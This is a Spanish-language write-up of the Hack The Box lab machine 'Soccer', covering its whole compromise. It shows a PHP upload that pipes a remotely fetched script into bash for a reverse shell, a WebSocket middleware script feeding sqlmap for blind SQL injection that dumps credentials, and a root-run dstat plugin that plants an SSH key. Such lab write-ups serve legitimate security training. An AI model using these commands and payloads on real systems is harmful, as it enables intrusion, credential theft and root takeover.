This page looks best with JavaScript enabled

Hack The Box - Soccer

En Soccer obtuvimos una shell por Tiny File Manager por medio de la ejecucion de un archivo PHP, dentro encontramos un nuevo subdominio que es vulnerable a SQLi lo que nos permitio el acceso por SSH. Finalmente la escalada de privilegios a traves de un plugin que es ejecutado como root por dstat.

Nombre Soccer box_img_maker
OS

Linux

Puntos 20
Dificultad Facil
IP 10.10.11.194
Maker

sau123

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[5.6, 4.8, 5, 5, 5.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[0, 0, 0, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# Nmap 7.92 scan initiated Sat Jan  7 16:32:46 2023 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.194
Nmap scan report for 10.10.11.194 (10.10.11.194)
Host is up (0.082s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ad:0d:84:a3:fd:cc:98:a4:78:fe:f9:49:15:da:e1:6d (RSA)
|   256 df:d6:a3:9f:68:26:9d:fc:7c:6a:0c:29:e9:61:f0:0c (ECDSA)
|_  256 57:97:56:5d:ef:79:3c:2f:cb:db:35:ff:f1:7c:61:5c (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jan  7 16:32:56 2023 -- 1 IP address (1 host up) scanned in 10.12 seconds

Web Site

El sitio web redirige al dominio soccer.htb.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
➜  soccer curl -sI 10.10.11.194
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 07 Jan 2023 22:33:36 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://soccer.htb/

➜  soccer

El dominio presenta imagenes y noticias.

image

Directory Brute Forcing

feroxbuster muestra la direccion /tiny.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  soccer feroxbuster -u http://soccer.htb -w $MD --depth 1

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://soccer.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 1
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301        7l       12w      178c http://soccer.htb/tiny
[####################] - 11m   220545/220545  0s      found:1       errors:0
[####################] - 11m   220545/220545  333/s   http://soccer.htb

Tiny File Manger

En la direccion nos encontramos con el gestor de archivos Tiny File Manager.

image

La documentacion muestra las credenciales por default.

1
2
3
Default username/password:
- admin/admin@123
- user/12345

Podemos subir y eliminar archivos unicamente en la direccion /tiny/uploads.

image

Asi mismo observamos el archivo bajo la misma direccion en el servidor.

1
2
3
 π ~/htb/soccer ❯ curl -s http://soccer.htb/tiny/uploads/file.txt
hello there
 π ~/htb/soccer ❯

User - www-data

Command Execution

Creamos un archivo PHP para la ejecucion del comando whoami utilizando dos funciones conocidas.

image

Tras visitar la direccion por el navegador observamos el resultado de la ejecucion.

image

Asi mismo observamos distintas solicitudes desde la maquina.

1
2
3
4
5
6
7
8
➜  soccer sudo tcpdump -i tun1 icmp
[sudo] password for kirby:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun1, link-type RAW (Raw IP), snapshot length 262144 bytes
17:03:49.999264 IP soccer.htb > 10.10.14.207: ICMP echo request, id 2, seq 1, length 64
17:03:49.999287 IP 10.10.14.207 > soccer.htb: ICMP echo reply, id 2, seq 1, length 64
17:03:51.000435 IP soccer.htb > 10.10.14.207: ICMP echo request, id 2, seq 2, length 64
17:03:51.000459 IP 10.10.14.207 > soccer.htb: ICMP echo reply, id 2, seq 2, length 64

Shell

Ejecutamos shells localmente y creamos un archivo PHP para ejecutar una shell inversa.

1
2
<?php
system("curl 10.10.14.207:9090/10.10.14.207:1338|bash")

Tras subir y “ejecutar” el archivo PHP obtuvimos una shell inversa como www-data.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
➜  soccer rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.207] from soccer.htb [10.10.11.194] 36278
/bin/sh: 0: can't access tty; job control turned off
$ which python
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@soccer:~/html/tiny/uploads$ whoami
www-data
www-data@soccer:~/html/tiny/uploads$

User - Player

Observamos que el puerto 3000 esta localmente abierto.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
www-data@soccer:~$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1104/nginx: worker
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:9091            0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      1104/nginx: worker
tcp6       0      0 :::22                   :::*                    LISTEN      -
www-data@soccer:~$

Descubrimos un subdominio> soc-player.soccer.htb.

1
2
3
4
5
6
www-data@soccer:~$ cat /etc/hosts
127.0.0.1	localhost	soccer	soccer.htb	soc-player.soccer.htb

127.0.1.1	ubuntu-focal	ubuntu-focal

www-data@soccer:~$

Tras realizar una solicitud con curl observamos contenido parecido al sitio web del dominio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
www-data@soccer:/dev/shm$ curl -s 127.0.0.1:3000 | head -n 15
curl -s 127.0.0.1:3000 | head -n 15
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link href="/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
        <script src="/js/bootstrap.bundle.min.js"></script>
        <script src="/js/jquery.min.js"></script>
        <title>Soccer</title>
    </head>
    <style>
        header {
            position: relative;
            background-color: black;
www-data@soccer:/dev/shm$

Chisel - Reverse proxy

Utilizamos chisel para obtener el puerto 3000 localmente. Ejecutamos chisel server en kali.

1
2
3
4
5
6
7
➜  htb ./chisel server -p 7070 --reverse
2023/01/07 17:45:42 server: Reverse tunnelling enabled
2023/01/07 17:45:42 server: Fingerprint r7IOXikxVigDh/+xqSoeYExX5O9rbFWlHByCCztKll4=
2023/01/07 17:45:42 server: Listening on http://0.0.0.0:7070
2023/01/07 17:45:44 server: session#1: tun: proxy#R:3000=>0.0.0.0:3000: Listening
2023/01/07 17:47:30 server: session#2: tun: proxy#R:9091=>0.0.0.0:9091: Listening
2023/01/07 17:55:31 server: session#3: tun: proxy#R:127.0.0.1:1080=>socks: Listening

chisel client en la maquina.

1
2
3
./chisel client 10.10.14.207:7070 R:socks
2023/01/07 23:55:29 client: Connecting to ws://10.10.14.207:7070
2023/01/07 23:55:30 client: Connected (Latency 188.578972ms)

Configuramos FoxyProxy en el navegador.

image

Y editamos el archivo proxychains.

1
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf

Al visitar el puerto 3000 observamos un sitio similar al dominio.

image

Web User

Registramos un usuario nuevo.

image

Tras autenticarnos nos muestra un formulario, segun parece para verificar el numero de ticket.

image

Tras varios intentos no obtuvimos ningun tipo de respuesta. Sin embargo tras verificar la consola observamos que intenta realizar una conexion al subdominio que encontramos anteriormente, websocket.

image

Agregamos el subdominio apuntando a nuestra direccion local.

1
2
3
➜  soccer tail -n 1 /etc/hosts
127.0.0.1   soc-player.soccer.htb
➜  soccer

Con ello logramos obtener una respuesta al ingresar un valor en el formulario, en este caso el ticket no existe.

image

Observando las solicitudes que realiza el sitio, vemos que envia el id con el valor del formulario.

image

User - Player

SQLi WebSocket

Intentamos con distintos ‘payloads’ en el parametro id, pero no conseguimos informacion. Tras investigar sobre WebSockets nos topamos con el post Automating Blind SQL injection over WebSocket donde se expone una explotacion de SQLi utilizando sqlmap y un script que obtiene las solicitudes de sqlmap, realiza la conexion con el servidor, obtiene la respuesta y la envia a sqlmap, como si fuera un “intermediario”. En este caso modificamos el script:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection

ws_server = "ws://soc-player.soccer.htb:9091" # dominio soc-player.htb

def send_ws(payload):
	ws = create_connection(ws_server)
	# If the server returns a response on connect, use below line	
	#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
	
	# For our case, format the payload in JSON
	message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
	data = '{"id":"%s"}' % message # data --> id del fomulario

	ws.send(data)
	resp = ws.recv()
	ws.close()

	if resp:
		return resp
	else:
		return ''

def middleware_server(host_port,content_type="text/plain"):

	class CustomHandler(SimpleHTTPRequestHandler):
		def do_GET(self) -> None:
			self.send_response(200)
			try:
				payload = urlparse(self.path).query.split('=',1)[1]
			except IndexError:
				payload = False
				
			if payload:
				content = send_ws(payload)
			else:
				content = 'No parameters specified!'

			self.send_header("Content-type", content_type)
			self.end_headers()
			self.wfile.write(content.encode())
			return

	class _TCPServer(TCPServer):
		allow_reuse_address = True

	httpd = _TCPServer(host_port, CustomHandler)
	httpd.serve_forever()


print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8083/?id=*")

try:
	middleware_server(('0.0.0.0',8083))
except KeyboardInterrupt:
	pass

Ejecutamos el script utilizando proxychains.

1
2
3
4
5
6
7
➜  soccer sudo proxychains4 -q python3 ws_server.py
[sudo] password for kali:
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8084/?id=*
[.. snip ..]
127.0.0.1 - - [07/Jan/2023 19:54:32] "GET /?id=93621 HTTP/1.1" 200 -
127.0.0.1 - - [07/Jan/2023 19:54:35] "GET /?id=93621&Yvjw=6592%20AND%201%3D1%20UNION%20ALL%20SELECT%201%2CNULL%2C%27%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E%27%2Ctable_name%20FROM%20information_schema.tables%20WHERE%202%3E1--%2F%2A%2A%2F%3B%20EXEC%20xp_cmdshell%28%27cat%20..%2F..%2F..%2Fetc%2Fpasswd%27%29%23 HTTP/1.1" 200 

Por otro lado ejecutamos sqlmap en la direccion local de nuestro script. Vemos que sqlmap logro obtener informacion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
➜  ~ sqlmap -u "http://localhost:8083/?id=70653" --batch -dbs
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.9#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 19:06:04 /2023-01-07/

[19:06:04] [INFO] testing connection to the target URL
[19:06:05] [WARNING] turning off pre-connect mechanism because of incompatible server ('SimpleHTTP/0.6 Python/3.9.2')
[19:06:05] [INFO] checking if the target is protected by some kind of WAF/IPS
[19:06:05] [INFO] testing if the target URL content is stable
[19:06:06] [INFO] target URL content is stable
[19:06:06] [INFO] testing if GET parameter 'id' is dynamic
[19:06:06] [INFO] GET parameter 'id' appears to be dynamic
[19:06:07] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[19:06:07] [INFO] testing for SQL injection on GET parameter 'id'
[19:06:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[19:06:09] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[19:06:17] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:06:17] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[.. snip ..]
[19:06:41] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[19:06:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:06:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:06:42] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[19:06:43] [INFO] target URL appears to have 3 columns in query
do you want to (re)try to find proper UNION column types with fuzzy test? [y/N] N
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[19:06:53] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[19:07:03] [INFO] target URL appears to be UNION injectable with 3 columns
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] Y
[19:07:14] [INFO] testing 'MySQL UNION query (51) - 1 to 20 columns'
[19:07:29] [INFO] testing 'MySQL UNION query (51) - 21 to 40 columns'
[19:07:38] [INFO] testing 'MySQL UNION query (51) - 41 to 60 columns'
[19:07:51] [INFO] testing 'MySQL UNION query (51) - 61 to 80 columns'
[19:08:00] [INFO] testing 'MySQL UNION query (51) - 81 to 100 columns'
[19:08:09] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 255 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=70653 AND 9808=9808

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=70653 AND (SELECT 8949 FROM (SELECT(SLEEP(5)))CpYB)
---
[19:08:12] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[19:08:15] [INFO] fetching database names
[19:08:15] [INFO] fetching number of databases
[19:08:15] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:08:15] [INFO] retrieved: 5
[19:08:18] [INFO] retrieved: mysql
[19:08:32] [INFO] retrieved: information_schema
[19:09:16] [INFO] retrieved: performance_schema
[19:10:00] [INFO] retrieved: q
[19:10:03] [INFO] retrieved:
[19:10:05] [INFO] retrieved:
[19:10:05] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[19:10:21] [INFO] adjusting time delay to 2 seconds due to good response times
soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] soccer_db

[19:11:38] [INFO] fetched data logged to text files under '/home/kirby/.local/share/sqlmap/output/localhost'

[*] ending @ 19:11:38 /2023-01-07/

Logramos obtener credenciales de la base de datos soccer_db para el usuario player.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

SQLMap tambien tiene soporte para websocket, por lo que la forma mas sencilla seria la siguiente

1
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' -batch -dbs

Shell

Ingresamos por SSH y realizamos la lectura de flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
➜  soccer ssh player@soccer.htb # PlayerOftheMatch2022
The authenticity of host 'soccer.htb (10.10.11.194)' can't be established.
ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'soccer.htb,10.10.11.194' (ECDSA) to the list of known hosts.
player@soccer.htb's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jan  8 03:59:13 UTC 2023

  System load:  0.11              Processes:             243
  Usage of /:   70.1% of 3.84GB   Users logged in:       0
  Memory usage: 21%               IPv4 address for eth0: 10.10.11.194
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sun Jan  8 03:43:37 2023 from 10.10.14.80
-bash-5.0$ cat user.txt
3a1dc423a03b194435ae3cf95c3cb266
-bash-5.0$

Privesc

Tras enumerar los ficheros SUID encontramos doas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
-bash-5.0$ find / -perm -4000 2>/dev/null | xargs ls -lah
-rwsr-xr-x 1 root   root             84K Mar 14  2022 /snap/core20/1695/usr/bin/chfn
-rwsr-xr-x 1 root   root             52K Mar 14  2022 /snap/core20/1695/usr/bin/chsh
-rwsr-xr-x 1 root   root             87K Mar 14  2022 /snap/core20/1695/usr/bin/gpasswd
-rwsr-xr-x 1 root   root             55K Feb  7  2022 /snap/core20/1695/usr/bin/mount
-rwsr-xr-x 1 root   root             44K Mar 14  2022 /snap/core20/1695/usr/bin/newgrp
-rwsr-xr-x 1 root   root             67K Mar 14  2022 /snap/core20/1695/usr/bin/passwd
-rwsr-xr-x 1 root   root             67K Feb  7  2022 /snap/core20/1695/usr/bin/su
-rwsr-xr-x 1 root   root            163K Jan 19  2021 /snap/core20/1695/usr/bin/sudo
-rwsr-xr-x 1 root   root             39K Feb  7  2022 /snap/core20/1695/usr/bin/umount
-rwsr-xr-- 1 root   systemd-resolve  51K Oct 25 13:09 /snap/core20/1695/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root            463K Mar 30  2022 /snap/core20/1695/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root            121K Nov 25 17:29 /snap/snapd/17883/usr/lib/snapd/snap-confine
-rwsr-sr-x 1 daemon daemon           55K Nov 12  2018 /usr/bin/at
-rwsr-sr-x 1 root   root            1.2M Apr 18  2022 /usr/bin/bash
-rwsr-xr-x 1 root   root             84K Nov 29 11:53 /usr/bin/chfn
-rwsr-xr-x 1 root   root             52K Nov 29 11:53 /usr/bin/chsh
-rwsr-xr-x 1 root   root             39K Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x 1 root   root             87K Nov 29 11:53 /usr/bin/gpasswd
-rwsr-xr-x 1 root   root             55K Feb  7  2022 /usr/bin/mount
-rwsr-xr-x 1 root   root             44K Nov 29 11:53 /usr/bin/newgrp
-rwsr-xr-x 1 root   root             67K Nov 29 11:53 /usr/bin/passwd
-rwsr-xr-x 1 root   root             67K Feb  7  2022 /usr/bin/su
-rwsr-xr-x 1 root   root            163K Jan 19  2021 /usr/bin/sudo
-rwsr-xr-x 1 root   root             39K Feb  7  2022 /usr/bin/umount
-rwsr-xr-- 1 root   messagebus       51K Oct 25 13:09 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root   root             15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root   root            463K Mar 30  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root   root             23K Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root   root            140K Nov 28 04:55 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root   root             42K Nov 17 09:09 /usr/local/bin/doas
-bash-5.0$

La configuracion muestra que es posible ejecutar dstat como root por este usuario.

1
2
3
4
5
-bash-5.0$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
-bash-5.0$ file /usr/bin/dstat
/usr/bin/dstat: Python script, ASCII text executable
-bash-5.0$

Al ejeutar el fichero nos muestra informacion del sistema.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
-bash-5.0$ doas /usr/bin/dstat
You did not select any stats, using -cdngy by default.
--total-cpu-usage-- -dsk/total- -net/total- ---paging-- ---system--
usr sys idl wai stl| read  writ| recv  send|  in   out | int   csw
  1   0  98   0   0| 168k   28k|   0     0 |   0     0 | 343   604
  1   0  99   0   0|   0     0 |1702B 2047B|   0     0 | 271   530
  0   1  99   0   0|   0     0 | 132B  342B|   0     0 | 215   469
  1   0  99   0   0|   0     0 |  66B  342B|   0     0 | 211   440
  0   0  99   0   0|   0     0 |  66B  342B|   0     0 | 241   489
  1   0  99   0   0|   0     0 |  66B  342B|   0     0 | 221   459
  1   1  99   0   0|   0    60k| 805B  991B|   0     0 | 260   505

  1   0  99   0   0|   0     0 |2173B 1904B|   0     0 | 275   492 ^C
-bash-5.0$ 

Plugin to root

Analizamos el archivo, se muestra que existen directorios donde se almacenan plugins.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[ ... ]

pluginpath = [
    os.path.expanduser('~/.dstat/'),                                # home + /.dstat/
    os.path.abspath(os.path.dirname(sys.argv[0])) + '/plugins/',    # binary path + /plugins/
    '/usr/share/dstat/',
    '/usr/local/share/dstat/',
]

[ ... ]

Observamos que en uno de los directorios tenemos permisos de escritura.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-bash-5.0$ find / -writable -type d 2>/dev/null
[.. snip ..]
/run/screen
/run/lock
/usr/local/share/dstat
/sys/fs/cgroup/systemd/user.slice/user-1001.slice/user@1001.service
[.. snip ..]
/var/lib/php/sessions
/var/crash
/var/www/html/tiny/uploads
/var/tmp
/var/tmp/cloud-init
/tmp
[.. snip ..]
/home/player
/home/player/.cache
/home/player/.local
/home/player/.local/share
/home/player/.local/share/nano
-bash-5.0$ ls -lah /usr/local/share/dstat/
total 8.0K
drwxrwx--- 2 root player 4.0K Dec 12 14:53 .
drwxr-xr-x 6 root root   4.0K Nov 17 09:16 ..
-bash-5.0$

Tomando como ejemplo uno de los plugins (/usr/share/dstat/) creamos uno propio el cual ejecuta el comando id.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
### Author: root
import os

class dstat_plugin(dstat):
    """
    Exec cmd - root
    """
    def __init__(self):
        self.name = 'privesc'
        self.vars = ('total',)
        self.type = 'd'
        self.width = 10
        self.scale = 10
        self.root = os.system("id")

    def extract(self):
        self.val['total'] = self.root

Lo almacenamos en el directorio /usr/local/share/dstat.

1
2
3
4
5
-bash-5.0$ pwd
/usr/local/share/dstat
-bash-5.0$ ls
dstat_privesc.py
-bash-5.0$ 

Observamos que al listar los plugins se muestra el nuestro.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
-bash-5.0$ doas /usr/bin/dstat --list
internal:
	aio,cpu,cpu-adv,cpu-use,cpu24,disk,disk24,disk24-old,epoch,fs,int,
	int24,io,ipc,load,lock,mem,mem-adv,net,page,page24,proc,raw,socket,
	swap,swap-old,sys,tcp,time,udp,unix,vm,vm-adv,zones
/usr/share/dstat:
	battery,battery-remain,condor-queue,cpufreq,dbus,disk-avgqu,disk-avgrq,
	disk-svctm,disk-tps,disk-util,disk-wait,dstat,dstat-cpu,dstat-ctxt,
	dstat-mem,fan,freespace,fuse,gpfs,gpfs-ops,helloworld,ib,innodb-buffer,
	innodb-io,innodb-ops,jvm-full,jvm-vm,lustre,md-status,memcache-hits,
	mongodb-conn,mongodb-mem,mongodb-opcount,mongodb-queue,mongodb-stats,
	mysql-io,mysql-keys,mysql5-cmds,mysql5-conn,mysql5-innodb,
	mysql5-innodb-basic,mysql5-innodb-extra,mysql5-io,mysql5-keys,net-packets,
	nfs3,nfs3-ops,nfsd3,nfsd3-ops,nfsd4-ops,nfsstat4,ntp,postfix,power,
	proc-count,qmail,redis,rpc,rpcd,sendmail,snmp-cpu,snmp-load,snmp-mem,
	snmp-net,snmp-net-err,snmp-sys,snooze,squid,test,thermal,top-bio,
	top-bio-adv,top-childwait,top-cpu,top-cpu-adv,top-cputime,top-cputime-avg,
	top-int,top-io,top-io-adv,top-latency,top-latency-avg,top-mem,top-oom,utmp,
	vm-cpu,vm-mem,vm-mem-adv,vmk-hba,vmk-int,vmk-nic,vz-cpu,vz-io,vz-ubc,
	wifi,zfs-arc,zfs-l2arc,zfs-zil
/usr/local/share/dstat:
	privesc

Tras ejecutar el plugin vemos el resultado de la ejecucion de id.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
-bash-5.0$ doas /usr/bin/dstat --privesc
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
  import imp
uid=0(root) gid=0(root) groups=0(root)
-privesc--
  total
         0
         0
         0
         0
         0^C
-bash-5.0$

Shell

Creamos una clave SSH para el usuario player.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
-bash-5.0$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/player/.ssh/id_rsa): y
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in y
Your public key has been saved in y.pub
The key fingerprint is:
SHA256:ryKCF/R4+J6EHM6I5L7osWO8Hzp1F9R7iNRpf/oSVHg player@soccer
The key's randomart image is:
+---[RSA 3072]----+
|        o . .    |
|       o = . E   |
|      o o + o    |
|  .    o o + .   |
| o.+    S o o    |
|+=++o. . . o     |
|++*=o .   . o    |
|+=*.+..  . . .   |
|+O*+o. ..   .    |
+----[SHA256]-----+
-bash-5.0$

Editamos nuestro plugin para agregar la clave publica al archivo authorized_keys de root.

1
self.root = os.system("cat /home/player/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys")

Tras la ejecucion del plugin, ingresamos a traves de SSH como root, logrando acceder a la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
-bash-5.0$ ssh root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Jan  8 04:40:24 UTC 2023

  System load:  0.0               Processes:             246
  Usage of /:   70.1% of 3.84GB   Users logged in:       1
  Memory usage: 26%               IPv4 address for eth0: 10.10.11.194
  Swap usage:   0%

